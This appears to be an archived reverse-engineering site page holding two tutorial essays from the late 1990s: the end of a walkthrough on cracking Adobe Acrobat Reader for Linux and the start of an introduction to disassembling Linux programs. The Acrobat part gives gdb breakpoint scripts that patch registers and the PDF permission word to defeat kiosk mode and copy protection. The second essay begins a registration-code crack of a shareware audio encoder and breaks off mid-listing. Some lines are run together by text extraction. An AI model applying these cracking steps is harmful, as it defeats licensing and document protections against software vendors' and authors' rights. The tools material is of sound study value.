08062c5d <UnixDocViewUpdateVisibility+7d> movl 0x8(%ebp),%eax
08062c60 <UnixDocViewUpdateVisibility+80> movl 0xc(%eax),%edx
08062c63 <UnixDocViewUpdateVisibility+83> pushl %edx <<saved 1st parameter
Reference to function : UnixMenubarWidgetHide
08062c64 <UnixDocViewUpdateVisibility+84> call 08048500

It is pretty clear, if the function AVDocGetKioskBool returns 0 we are GOOD


GUYS. Let's make this function return always 0. You could patch it the old
way, but now we are going to learn some xxgdb capabilities:

1) Fire acrobat reader of course. Look its Process Identifier (PID)


2) Fire xxgdb
3) Execute command "file (your path)/Acrobat/Reader/intellinux/bin/acroread,
that will load the symbols. Don't worry if xxgdb complains about
something.
4) Now we are gonna "join" the debugger to a running process. For this
reason, execute the command "attach PID", where PID IS A NUMBER, the
process identifier of acroread (use ps for checking)
5) You'll land probably in the middle of a system call, it is OK.
6) Run "cont" command to continue execution.
7) When you want to break, press Control-C.

This is the important code of AVDocGetKioskBool:

0807d3d2 movl %edx,%eax


0807d3d4 jmp 0807d3e0

(... another dozen of nops ...)

Referenced from jump/call at 0807d2bb ; 0807d3d4 ;

0807d3e0 leal 0xfffffff0(%ebp),%esp


0807d3e3 popl %ebx
0807d3e4 popl %esi
0807d3e5 movl %ebp,%esp
0807d3e7 popl %ebp
0807d3e8 ret

http://www.instinct.org/fravia/linux2.htm (7 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

The instruction at 807d3e0 is always reached from 807d3d4, the other


reference is just a "fast return" when gets an error. This will do the
crack while working with the debugger. You'll see that this is a really
powerful debugger, with features supported by softice not a long time
ago.
(xxgdb) is the prompt:

(xxgdb) br *0x0807d3d2 if $edx==1


Breakpoint 1 at 0x0807d3d2
(xxgdb) commands
>silent
>set $edx=0
>cont
>end
(xxgdb)

Really powerful eh ? If you want to know the breakpoint status run


"info br".
Well if you now execute "cont", you'll always have menu, toolbars and
so on visible, even if ghiribizo or whoever doesn't want :-).
I think that the above code is pretty easy to understand.

And now what's up with the second part ? Specifically: 'copying text'.
As I told you, I was not so lucky. Firstly I tried to play the same
game, try and error, feel a little, look at suspicious functions... and
I got lost in the mare magnum of silly functions. I navigated over tons
of functions, and I was close to solve it, and you'll see that names are
indeed again pretty obvious, but until you grasp this target as a whole
you don't really realise what is going on.
I was confused always by X buffering, coz graphic events are not
implemented immediately, and 5 or 6 buttons from the toolbar
were painted all together at once.

After one day of useless testing I decided to act methodically, and after
starting from one obvious point, reach the code I was seeking. I just wanted
to locate where the button was disabled and then, from there, trace back:
Reverse Engineering as we have all learned it.
I studied some Xwindows API, and I got information about events.
For fixing the problem of graphic buffered events I read the main page
of X server:

"All applications written with the X Toolkit Intrinsics automatically


accept the following options:
[...]
-synchronous
This option indicates that requests to the X server should
be sent synchronously, instead of asynchronously.
Since Xlib normally buffers requests to the
server, errors do not necessarily get reported immediately
after they occur. This option turns off the buffering so that
the application can be debugged. It should never be used
with a working program."

So from now on run: acrobat -synchronous

http://www.instinct.org/fravia/linux2.htm (8 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

Perfect, now I had to find the X call. I didn't find the function I was
looking for, so I decided to start from one solid function and then
test the calling tree until the target function was found.
This seemed to be a very solid function:

AVAppSelectLegalTool

How do I get this name ? Well, as I told you I looked for names about
ToolBar, one of the most suspicious is UnixToolBarUpdateButtonStates,
which is called from AVAppSelectLegalTool.

One tip that will be useful in X debugging: I found a bug (I don't know if it
is a gdb problem or X server problem or window manager prob) when you break the
program and is busy with certain graphic interface task, focus cannot be
successfully returned to xxgdb, and all X applications freezes. In that case you
just need to open a new virtual console and kill xxgdb process (and then
restart it). If you want to prevent this situation, you must break the program
in some previous "safe" instruction (probably inside another function) with no
focus-back problem. Then xxgdb will get the focus and when you restart execution
("cont" command) focus will not be back to acrobat (it will be in background)
and you can safely break inside that "dangerous code". I am telling you this
right now because the beginning of this function will be ok as a safe breakpoint
in our goal of finding out who shades and disables the text button.

Now here's an schematic of AVAppSelectLegalTool:

0x806ccc0 AVAppSelectLegalTool

AVAppGetActiveDoc (1 parameter)
AvAppGetActiveTool
ToolIsEnabled (7 parameters)
AVAppGetDefaultTool
AVAppSetActiveTool (7 parameters)
AVAppGetToolBar
AVToolBarUpdateButtonStates

0x806cd19 end

Very cool names but nothing else. After some hours the only fact is that
buttons were updated (BTW for the first time if no protection, and if
protected, they were just "rewritten"; in that case, "clean" the window
covering it, or changing the desktop) in AVToolBarUpdateButtonStates. For
this searching task temporary breakpoints are really useful to use, you
know, use and throw away breakpoints.
For example writing this will do it:

(xxgdb)br *AVAppSelectLegalTool
(xxgdb)cont
... do something like load some pdf evil file. It will break

(xxgdb)tbr *AvAppGetActiveTool
(xxgdb)cont

... a temp. breakpoint is set. Now you can see what happen while
... AVAppGetActiveDoc is being executed. It breaks at AvAppGetActiveTool

http://www.instinct.org/fravia/linux2.htm (9 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

(xxgdb)tbr *ToolIsEnabled
(xxgdb)cont

... and so on. You dig it ?

Ok, let's go down to AVToolBarUpdateButtonStates. Here is the good stuff:

080bbf7 AVToolBarUpdateButtonStates
080bbfa0 call *%ebx
080bbfb3 call 08038ed8 <_init+2168>

or if you want

080bbf7 AVToolBarUpdateButtonStates
080bbfa0 call UnixEnumChildWidget
080bbfb3 call ASListEnum

Be sure that the first function makes what we are looking for. If you watch
the listing of that function it just makes an indirect call to a VERY
important function named SetStateEnumProc. Here is the code commented:

0805ecf0 pushl %ebp


0805ecf1 movl %esp,%ebp
0805ecf3 subl $0x8,%esp
0805ecf6 pushl %ebx
0805ecf7 movl 0x8(%ebp),%eax
0805ecfa movl 0x4(%eax),%edx
0805ecfd movb 0x14(%edx),%al
0805ed00 andb $0x8,%al
0805ed02 testb %al,%al
0805ed04 jne 0805ed10
0805ed06 jmp 0805ed70
0805ed08 nop
...
0805ed0f nop

Referenced from jump/call at 0805ed04 ;

0805ed10 movl 0x8(%ebp),%eax


0805ed13 movl %eax,0xfffffff8(%ebp)
0805ed16 movl $0x0,0xfffffffc(%ebp)

Referenced from jump/call at 0805ed63 ; <LOOPING HERE

0805ed1d movl 0xfffffff8(%ebp),%eax:


0805ed20 movl 0xfffffffc(%ebp),%edx; <<WE CONTINUE HERE !!
0805ed30 movl 0x10(%ebp),%eax; << LOAD SOMETHING
0805ed33 pushl %eax; << SAVE IT
0805ed34 movl 0xfffffff8(%ebp),%eax; << LOAD SOMETHING
0805ed37 movl 0xfffffffc(%ebp),%edx; << LOAD INDEX
0805ed3a movl %edx,%ecx; << MOVING INDEX TO ECX
0805ed3c leal 0x0(,%ecx,4),%edx; << CREATE POINTER IN EDX
0805ed43 movl 0x74(%eax),%eax; << LOAD SECOND INDEX
0805ed46 movl (%eax,%edx,1),%edx;<< DOUBLE INDEXING HERE

http://www.instinct.org/fravia/linux2.htm (10 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

0805ed49 pushl %edx; <SAVE VALUE


0805ed4a movl 0xc(%ebp),%ebx; << LOAD FUNCTION ADDRESS
0805ed4d call *%ebx; <<CALL SetStateEnumProc
0805ed4f addl $0x8,%esp, << RETURNS IN EAX
0805ed52 movb %al,%al
0805ed54 testb %al,%al
0805ed56 jne 0805ed60; << JUMPING BELOW IF RETURNED != 0
0805ed58 jmp 0805ed70; << ELSE JUMP TO END FUNCTION
0805ed5a nop
...
0805ed5c nop

Referenced from jump/call at 0805ed56 ;

0805ed60 incl 0xfffffffc(%ebp); << INCREMENT POINTER


0805ed63 jmp 0805ed1d; << LOOP AWAY

One call to SetStateEnumProc for each button. For the first time, we got
some 'action' (we still don't know which) for a particular button. I don't
like essays that carry a too heavy listing, so here is the schematic of the
function and I shall give you afterwards the needed details:

0805aec0 SetStateEnumProc
call XtVaGetValues
call AVToolButtonIsSeparator
call AVToolButtonIsEnabled
call XtSetSensitive
call XtIsSubclass
call AVToolButtonIsMarked
call XacroToolButtonSetMarked
end

XtSetSensitive IS OUR FUNCTION. It enables or disables buttons. If we look


for in the API:

extern void XtSetSensitive(


Widget /* widget */,
_XtBoolean /* sensitive */
);

Hence we are interested in the second parameter, that is pushed in the first
place. Some assembler details of the function:

Reference to function : AVToolButtonIsEnabled

0805aef4 call 080bb3a0; << returns 1 or 0 into eax


0805aef9 addl $0x4,%esp
0805aefc movl %eax,%eax
0805aefe movzwl %ax,%edx; << returned value in edx now
0805af01 pushl %edx; << here is our parameter ****
0805af02 movl 0x8(%ebp),%eax
0805af05 pushl %eax

Reference to function : XtSetSensitive

http://www.instinct.org/fravia/linux2.htm (11 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

0805af06<SetStateEnumProc+46> call 08037dc8 <_init+1058>

Now you understand what I told you about zen and luck. If I would listen to
that function ... (actually I had played with it before, but acrobat was in
its asynchronous behaviour and I was confused, you know life is tough). So
this function is the judge that sort good and evil buttons. This is the
*hot* part of the function :

AVToolButtonIsEnabled (... bad instructions for your health ...)

080bb43a call *%ebx << this indirect call is calling


StdComputeEnabledSelChange
<< the returned value is saved in eax as usual

080bb43c addl $0x4,%esp


080bb43f movl %eax,%eax; << I don't understand it
080bb441 movw %ax,0xfffffffe(%ebp); << save the boolean value
080bb445 addl $0xfffffff8,0x820b904
080bb44c jmp 080bb45d; << jumping
080bb44e nop
080bb44f nop

Referenced from jump/call at 080bb42b ;

080bb450 addl $0xfffffff8,0x820b904


080bb457 movw $0x0,0xfffffffe(%ebp)

Referenced from jump/call at 080bb44c ; <we are jumping here !!!


080bb45d pushl $0x0

Reference to function : AVAppSetBusy

080bb45f call 080700f0 <AVAppSetBusy>; <<bla bla bla


080bb464 addl $0x4,%esp

Referenced from jump/call at 080bb3dd ; 080bb3f2 ;

080bb467 movw 0xfffffffe(%ebp),%ax; << move to eax the boolean value


080bb46b movzwl %ax,%edx; << more stupid instructions
080bb46e movl %edx,%eax
080bb470 jmp 080bb480; << jump to end

Don't worry this is not endless, we are close to the crack, but we must go to
this "academic" function StdComputeEnabledSelChange. BTW, you may see that
this function has one parameter. For any button but "text-button" the
parameter saved is 0, and for the evil button the parameter is 0x10. Now
you'll see how everything makes sense:

080baef0 StdComputeEnabledSelChange

(... bla bla bla ...)


080baf22 movl 0x8(%ebp),%eax; << take the parameter
080baf25 pushl %eax; << forward the parameter
080baf26 movl 0xfffffffc(%ebp),%eax;

http://www.instinct.org/fravia/linux2.htm (12 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

080baf29 pushl %eax; << save another parameter

Reference to function : AVDocCheckPermission

080baf2a call 0807c8f0 <AVDocCheckPermission>

And last but not least (don't forget the parameter of the first push):

(... bla bla bla ...)


Reference to function : AVDocGetPDDoc
0807c944 call 0807ca90 << get pointer in eax of some pdf structure
0807c949 addl $0x4,%esp
0807c94c movl %eax,%eax
0807c94e pushl %eax: << save pointer

Reference to function : PDDocGetPermissions


0807c94f call 08038828 <_init+1ab8> << this function returns en eax the
permis. word
0807c954 addl $0x4,%esp
0807c957 movl %eax,%eax
0807c959 movl %eax,%edx << copy permissions to edx
0807c95b andl 0xc(%ebp),%edx; << AND with the parameter !!!!
0807c95e cmpl %edx,0xc(%ebp)
0807c961 sete %al
0807c964 movzbl %al,%edx
0807c967 movl %edx,%eax
0807c969 jmp 0807c970
0807c96b nop
0807c96c nop
0807c96d nop
0807c96e nop
0807c96f nop

Referenced from jump/call at 0807c93d ; 0807c969 ;


0807c970 movl %ebp,%esp
0807c972 popl %ebp
0807c973 ret

We are at the end of our long way. The permission word for an unprotected
document is 0x7fff (rather curious :-).

For an explanation of this 7FF, check +Zer0's essay:


Actually the value has been transformed a bit high order byte to 7F
and low order byte incremented by 1 so the desired value at this position
is 7FFD instead of FFFC.

You may realise that PDDocGetPermissions is not inside acroread.


It is an imported function.
The code is located in a library (Acrobat/Reader/intellinux/lib/libreadcore.so.3).
You can disassemble it (I'm not gonna punish you any more inside this essay :-)
and the function just returns the input parameter+0x78, hence the offset of
the permission is 0x78.
Now you can crack it any way you want. You may patch the library, overwrite

http://www.instinct.org/fravia/linux2.htm (13 of 14) [2/7/2001 3:19:34 PM]


linux2.htm

some nops. If you are working with xxgdb I propose you patch quietly
AVDocGetPDDoc, and not only return the pointer but "initialise" permissions.
These are the commands:

(xxgdb)br *0807cac3 (the ret point of the function AVDocGetPDDoc)


(xxgdb)commands
>silent
>set *($eax+0x78)=0x7fff
>cont
>end

There are a lot of things to do (delving into permission word, encryption


routines, ...) but you will allow me not to do them right now.
I hope this essay will help you with the Windoze version, or at least will
help you if you are up to crack some other linux commercial application.

For this particular crack I would like to thank Quine for his obstination.
Regards also to all +HCUkers and all other friends.

"Long is the way and hard, that out of Hell leads up to the light"

(c) SiuL+Hacky 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the PDF-project

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/linux2.htm (14 of 14) [2/7/2001 3:19:34 PM]


siulin1.htm

Reverse engineering the Linux OS, a first approach


(disassembling Linux)

by SiuL+Hacky

(15 October 1997)

Courtesy of fravia's page of reverse engineering

Well, another VERY remarkable essay, that I am proud to present. SiuL+Hacky tackles here NEW UNCOVERED ground, and
teaches all of you the first elements of Linux reverse engineering... you would have tought, as I did, that such reversing would
have been useless, since the main characteristic of Linux (and of the whole GNU initiative) was to give freely the source code
of any program. Yet the deficiencies of Windoze are to-day so evident that more and more "commercial" programmers are
turning to Linux despite all efforts by Gate's lackeys. And if you say "commercial" you say of course limited egotistical
pusillanimous minds, that introduce their banal protection schemes even into the Linux world, until yesterday incontaminated.
Enjoy this GREAT essay/tutorial by SiuL+Hacky, let's hope that he will send us more essays on this subject!

BTW, you'll find inside here dasm: a disassembler for Linux *WRITTEN* by SiuL+Hacky himself!

I. Linux Introduction.
-------------------------

Probably all of you know about linux, but I don't know how many people
has linux installed in their computers. I have (as many people do)
both o.s. in different partitions of my hard-disk. Sometimes people
thinks of Operative Systems as religions (it use to happen also with
editors), so I'm not gonna tell you: INSTALL IT if you want your soul
to be saved ! If you are not sure, after reading this document, I
think you should know for sure what to do.

A friend of mine told some time ago a joke about Operative Systems
compared with Airlines. When you travel with Microsoft Airlines, you
may find beautiful women at the checking desk, you may enjoy amazing
entertaining shows before departure, when you climb in the aeroplane
it is really comfort and full of charming stewardesses. Ok, after
taking off the aeroplane explodes and nobody knows why. When
travelling with unix airlines you may travel safely, but passengers
must carry themselves the pieces of the aeroplane.

Unix is for you if you if you feel right working with DOS-boxes under
Windows, if you use to work with network environments, if you want
speed and safety back (your brand-new Pentium acts like a Pentium, not
like 386) and if you find lack of excitement configuring W95
programs. You may recover this bittersweet feeling of being in the
middle of a deserted island when things go wrong. But if you hate
command line programs with thousands of switches, unix is not for you.

One of the main characteristics of linux, is that it's a "free

http://www.instinct.org/fravia/siulin1.htm (1 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

environment". The applications (and kernel itself) are developed by


people and are offered to "the world" completely free. Most
applications are developed (more or less) under GNU License. Moreover,
a lot of the programs are provided with the source code (and you
compile it). Though it has been ported to several platforms, is
especially popular in x86 computers, and many users come from DOS.

II. A Cracker inside Linux world.


---------------------------------

Linux is cool for hacking, but I had never heard anything about
cracking in linux. As I told you, software is free and there's no
"bunch of shareware programmers". Imagine ... protecting a program and
giving you the source code, really nonsense.

But wait, Linux is not perfect, programs are not beautiful and
user-friendly. One of the problems I found from start with linux, is
multimedia. Multimedia is new in Dos/Windows world, so the old unix
dinosaur, that hasn't changed in the last twenty years (though if you
look inside "new" operative systems they are not that different) was
not supposed to have lot of multimedia support. I have a cheap
Soundblaster clone, and I cannot make it "cry" through my speakers. I
am not waiting for Dennis Ritchie saying "bye bye" when logging out,
but I like to "play" with sound algorithms and other stuff.

Surprisingly in just one day I downloaded two sound-programs with the


same nasty protections of their DOS brothers. It is really strange,
and I don't know if it is going to be usual in the future; probably it
will depend on Microsoft (once more), and if it finally gets into
Linux world (now it is just a rumour). Anyway, I decided to crack
them.

In Linux, people use to program in C (the Linux kernel is made in C) and


I found practically no assembler references. I had no idea if cracking
linux was gonna be easy or not, but the fact was that I had to start
from scratch practically. Most of the utilities I found are binary
utilities that come with GCC (GNU C compiler), and that every linux
user may find in the different distributions or elsewhere in the Web.
I didn't know of their existence, but I had them in my computer. Well,
this is for you.

III. Tools of the trade.


-------------------------

Here you'll find some tools that I have found or make myself, and will
make cracking easier. Mostly are "Windoze" brothers. First of all,
slight differences, mnemonics are named in a different way. I would
say it's even better (Sacrilegious !), but anyway you'll have no
problem getting these changes. You just have to be careful with
operands, especially in mov instructions, because they are reversed, I
mean:

mov source, destiny


instead of usual DOS:

http://www.instinct.org/fravia/siulin1.htm (2 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

mov destiny, source

1) GDB. GNU Debugger.

GNU Compiler has its own debugger, it's called gdb and it has even a
front-end for X Windows. It is neither Softice nor DOS Debug, but it
is thought to work with the source code and executables with debug
information. You can debug a program with assembler instructions, but
is not comfortable. For example, you are not seeing the current
assembler instruction, nor registers. This do not pretend to be a
replace for the man page of gdb. There are lots of useful information
in books or INFO documents, but here you'll get some useful clues for
starting.

It has some features that you cannot find in Softice, for instance,
you can debug a program that is already running ! You may use the
"attach" command for it. Gdb runs in a virtual console, so may run
your favorite programs while debugging.

Assembler instructions are executed with the "stepi" and "nexti"


commands, but you cannot fire the program with these instructions. The
programs are broken with Control-C, but you will not "surf" inside
every instruction of kernel code. Usually you'll stop the program (for
instance while waiting for a key) in a system call. Programs do not
use to call directly to system calls, because a kernel update could
make them crash. They call C functions, and C libraries (more or less
like DLLs) will make the system calls. If you want to see a
disassembled listing, use the "disassemble" command ("disas" will do
also) + an address (0xaddress), though that address is just used to
get a function (the function owner of the inst. with the address
given) and gdb shows you the whole listing of the function from start.
That's not cool, you know, life is tough. At least you can see current
instruction with "display/i $eip". After breaking the program use
"Continue" to resume execution.

The "display" command is also good for showing the value of a


particular register (don't forget $ sign), but if you want to show all
registers use "info registers". Finally if you want to change their
value use "set $eax=3" for instance.

There's a wide range of breakpoints. You can set usual breakpoints "br
*address", clear them, disable them, use conditional breakpoints
(YES!), hardware breakpoints ...

And finally the "backtrace" command is more or less like Softice


"stack", and "finish" should make 'p ret', but do not trust it very
much. Well there are lots of commands, study them, but after realizing
the power of the dead approach, I'm sure you will not want gdb
anymore.

2) STRACE

This is really a nice tool, especially for spying the program and its
behaviour. It logs every System Call made by a program, WITH

http://www.instinct.org/fravia/siulin1.htm (3 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

PARAMETERS and in a way you'll love it, as I'll show you afterwards. I
like to use it this way:

strace -oOUTPUT_FILE -i TARGET_FILE

where OUTPUT_FILE is the file where you want the log to be dumped.

-i: appends the value of eip when the call was made. It seems like a
bliss, but be careful: LIBRARIES USE TO MAKE SYSTEM CALLS, not
programs.

3) STRINGS

It should be a great tool, because show you strings inside a binary


file, and then you can identify the evil program that is punishing
you, but there's a simple and easier way to do it using the amazing
"grep" command. For example if you are looking for strings as
"Register", run this:

grep Register *

and it'll show you all the files in the current directory containing
the string "Register". But the first field of this command is a
general PATTERN, so it may be an exact match or a match as complicated
as you want (learn REGULAR EXPRESSIONS for it).

4) HEX EDITORS

What is a crack, without an Hex-Editor ? ("mental" cracking is hard,


by now). There are very few of them in Unix (that I know of). Get
one of them at:

ftp://vieta.math.uni-sb.de/pub/misc/hexer-0.1.4c.tar.gz

It uses "VI"-style. You know, vi is the "official" editor in Unix. It


seems that every "cool-unix-guy" must love it, or he'll be an
"aficionado". I do prefer JOE, which "looks-like" old WordStar and old
WordPerfect and you'll know how to quit the first time you run it :-).

Anyway, you may use, as I do, good Dos HEXEDITORS like Norton Diskedit
(version 4 or 5). I'm not kidding, a DOS emulator (DOSEMU) is
available in Linux, and works fine with real mode and DOS4GW programs.
There's a Windows emulator, but it is long ago in " an early alpha
stage ". Don't try it.

5) OBJDUMP

Well, at last a candle in the middle of the darkness. If is difficult


to find assembler references, to find disassembling references is like
looking for Money 3.0 (perhaps FidoNet has again the answer :-). I
found only a switch in this program that gives a "dump disassembly".

This program gives you the information and data of the different
sections (more about sections later) of a linux object (executable)
file. It is possible to get the assembler listing of a program you

http://www.instinct.org/fravia/siulin1.htm (4 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

have made (there's a switch in the compiler), but objdump is the only
program I found that disassemble an arbitrary executable. It also
gather information of the different "Sections" of the file. But the
problem, is that there's no analysis information in the disassembled
file. Some switches of objdump:

-d: Displays the assembler mnemonics contained in the code Sections.


Note that mnemonics are displayed in the "linux-way". Something like
this:

0804a37a repnz scasb %es:(%edi),%al


0804a37c notl %ecx
0804a37e movl %ecx,0xfffffc0c(%ebp)
0804a384 movb $0x0,0xfffffc16(%ebp,%ecx,1) <-- careful 0804a38c movl
$0xffffffff,0xfffffc14(%ebp); <-- careful 0804a396 cmpb $0x3a,0xfffffc1a(%ebp)
0804a39d jne 0804a3c2 0804a39f leal 0xfffffc14(%ebp),%eax 0804a3a5 pushl %eax Do you
like it ? I'm sure you'll stand it. T: Prints the Dynamic Symbol Table. In a stable
program you should not find debug information in the exe file, but in a protected
program you may hope to find no symbol information at all. Well, no symbol
information but imported symbols. Here you'll find imported functions, especially C
functions. Remember that in linux C libraries are dynamic. x: Displays all header
information (for instance Sections information): Sections: Idx Name Size VMA LMA File
off Algn 0 .interp 00000013 080480d4 080480d4 000000d4 2**0 CONTENTS, ALLOC, LOAD,
READONLY, DATA 1 .hash 00000188 080480e8 080480e8 000000e8 2**2 CONTENTS, ALLOC,
LOAD, READONLY, DATA 2 .dynsym 000003b0 08048270 08048270 00000270 2**2 CONTENTS,
ALLOC, LOAD, READONLY, DATA 3 .dynstr 000001d8 08048620 08048620 00000620 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .rel.bss 00000028 080487f8 080487f8 000007f8
2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .rel.plt 00000158 08048820 08048820
00000820 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .init 00000008 08048980
08048980 00000980 2**4 ... and more and more show-raw-insn: Prints the hex value of
the instruction appended to the mnemonic. 6) DASM I think you won't find this program
elsewhere. Well, the output from objdump is not very useful for +us, so I decided to
make myself a program for processing objdump output. The first idea was to build
jump/call references, to include dynamic symbols and if possible String references.

Download dasm.txt here! (If you want to save a web file and you don't know how, and all it does is display on the
screen, try to hold down the shift key when you click on it: it might solve your problem :-)

I programmed it in PERL. Why ? Well since my very first steps in perl


I realize it was perfect for text-processing files (I knew nothing
about sed, awk ...). The syntax is not very beautiful or
high-level-looking; it's an interpreted language, so it is not the
fastest. Anyway it always has the tools you are looking for (or you
always dreamt of) and enables you to do a lot of things at the same
time. It's very popular in CGI scripts. I learnt perl and CGI with a
very good book by Eric Herrmann. Sorry, I tried not to make it very
cryptic, but PERL is PERL, and if you don't know perl you'll probably
don't understand it. For this reason I'll explain how it works.

BTW a perl interpreter (perl 5.0) may be found in any LINUX


distribution, though interpreters for DOS are available too. Well
let's start with jmp/call processing:

- The (DYNAMIC) SYMBOL TABLE is read and the elements are put into an

http://www.instinct.org/fravia/siulin1.htm (5 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

associative array indexed by the addresses. For instance:


$st_element{"0xprint_address"}="print";

- Then all call / jmp instructions are processed into another


associative array, in this way:
$jumping{"jump_to_address"}="jump_from_address";

- After this, the addresses of assembled instructions (from .text


section) are checked against $jumping elements, and if it do exists,
the reference is written.

- In the same process, call instruction are processed and if they call
a function from the symbol table, it is also written.

For string processing, we must get further knowledge of how


executables are build in linux. The most common format is ELF-32bits (
Executable and Linkable Format). The structure of the object is :

* ELF HEADER
* PROGRAM TABLE HEADER
* SECTION 1
* ...
* SECTION N
* SECTION HEADER TABLE

These sections will be "segments" when the program is executed. Some


important sections are .init (initialization code), .fini (
termination code), .data (pretty obvious), .text (code), .rodata
(Read-only data), and so on. Do you remember lesson 8.1 and Win32
exe files ? Don't you think it's pretty much the same ?

These are ELF-TYPES:

Elf32_Addr 4 bytes unsigned


Elf32_Half 2 bytes unsigned
Elf32_Off 4 bytes unsigned
Elf32_Sword 4 bytes signed
Elf32_Word 4 bytes unsigned

And ELF Header is something like this:

typedef struct {
unsigned char e_ident[16];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;

http://www.instinct.org/fravia/siulin1.htm (6 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

Elf32_Half e_shstrndx;
} Elf32_Ehdr;

For us, is important the member e_shoff, that keeps information about
the file offset of the Section Header Table. The SHT is an array of
Elf32_Shdr structures. The element e_shnum tells the number of entries
in the SHT, and e_shentsize gives the size in bytes of each entry.
This is the Elf32_Shdr:

typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr ;

The offset of each section is taken from each sh_offset member. The
name of each section is a little bit more complicated, because sh_name
is an index into the section header String Table Section. Well, stop,
I don't want you to get confused. Fortunately, objdump give us that
information. Strings are located in the .rodata Section (for obvious
reasons), and objdump gives the file offset of the section. If you
want complete information on ELF format, there's a PostScript document
for you:

ftp://tsx-11.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz

There (or in any other mirror), you'll find a lot of interesting things.

Ok, then for string processing, dasm reads Section .rodata offset, and
get its content from the binary file. We get starting address and
size of .rodata section, so to make string processing:

- The whole .rodata section is read in a variable.


- Dasm looks for inmediate operands (with $ prefix) and checks if
they own to .rodata section.
- If true, the string (null terminated) is extracted from .rodata
section, and the reference is written.

The rest, is dirty details about format processing. The program calls
objdump, and you just have to use it this way:

dasm exec_file processed_output_file

I've tested it with several programs, but if you find any bug, problem
or you have any question, suggestion or whatever, report them to me
at:

lluisote@hotmail.com

http://www.instinct.org/fravia/siulin1.htm (7 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

NOTE: In dasm, I don't use the hex values of the instructions (switch
--show-raw-insn), because the output is not tabbed and it wastes disk
space. When we'll need this data, I'll show you how to get it easily.

IV. THE CRACKS


---------------

For applying all this theory, we're gonna crack the couple of programs
I told you. I chose them because they are very different and
appropriate for beginning, you'll see. The first one is a disabled
program with password registration, the second one is a trial with 2
level of time protection and the same nasty behaviour of its windows
brothers.

1) ftp://ftp.fhg.de/pub/layer3/l3v270.linux.tar.gz

What the hell is this ? Well, it's an encoder/decoder of MPEG layer


III. If you don't know about it, it's a standard for audio compression
(a really exciting subject). Every time you run the decoder you're
asked about entering a registration code, because sample rates and
other features are restricted to "registered users".

Let's have some fun with the new tools: "strace -oSalida l3dec" will
dump system calls in a file called Salida. Do it, answer that you
don't want to enter Reg.Cod., and get something like this (filtered by
me):

write(2, "\n*** l3dec V2.70 ISO/MPEG Au"..., 71) = 71


write(2, "| "..., 71) = 71
write(2, "| copyright Fraunhofer"..., 71) = 71
write(2, "| "..., 71) = 71

<<<< Look! It is writing the file header

open("./l3dec", O_RDONLY) = 4 <<<< get current directory


close(4) = 0
open("./register.inf", O_RDONLY)=-1 ENOENT (No such file or directory)

<<<<< Looking for a file named register.inf. Pretty suspicious. write(2, "|
L3DEC/L3ENC is sharew"..., 71)="71" write(2, "| if used for more t"..., 71)="71"
write(2, "| commercially (se"..., 71)="71" write(2, "| "..., 71)="71" write(2, "|
This program is"..., 71)="71" write(2, "| If you have alrea"..., 71)="71" write(2, "|
a registration cod"..., 71)="71" <<<<< Writing the nag message write(2, "| Do you
want to enter y"..., 65)="65" <<<<< Asking if registration code "If.class"
tppabs="http://fravia.org/If.class" you look for these strings (with the grep
command), you'll find them in both files l3enc and l3dec (of course encoder and
decoder). Ok, run dasm now, and discover the power of the dead approach. Search with
your favorite linux editor (descubre cual es el editor refleja tu personalidad) for
"Do you want to enter" and what you get: Possible reference to string: "| Please
enter your registration code: " 08058ca3 pushl $0x805ad7e; <<<< pushing string
08058ca8 pushl $0x8069640 Reference to function : fprintf 08058cad call 08048a58;
<<<<< printing 08058cb2 leal 0x170(%esp,1),%esi 08058cb9 pushl %esi Possible
reference to string: "%14s" 08058cba pushl $0x805ada6; <<< WAITING A 14 CHARS STRING

http://www.instinct.org/fravia/siulin1.htm (8 of 14) [2/7/2001 3:19:42 PM]


siulin1.htm

!!! DON'T YOU LOVE IT ? Reference to function : scanf 08058cbf call 08048ba8 08058cc4
leal 0x2c8(%esp,1),%eax 08058ccb pushl %eax; <<<< pushing eax 08058ccc pushl %esi;
<<<< pushing pointer 08058ccd call 08058f24; <<<< what happen here ? 08058cd2 addl
$0x20,%esp; <<<< fix stack 08058cd5 testl %eax,%eax; <<<< testing returned value
08058cd7 je 08058d78; <<<< jump good guy !!! 08058cdd leal 0x0(%esi),%esi; <<<< bad
guy !!!! Referenced from jump/call at 08058d46 ; Possible reference to string: "| |"
08058ce0 pushl $0x805abd0 08058ce5 pushl $0x8069640 Reference to function : fprintf
08058cea call 08048a58 Possible reference to string: "| This was no correct
registration code. |" 08058cef pushl $0x805adab 08058cf4 pushl $0x8069640 You are
cracking practically with source code :-). Let's have a look at this mysterious
function: Referenced from jump/call at 08058993 ; 08058a1c ; 08058a68 ; 08058ad0 ;
08058ccd ; ; a popular function it seems 08058f24 subl $0x8c,%esp 08058f2a pushl %ebp
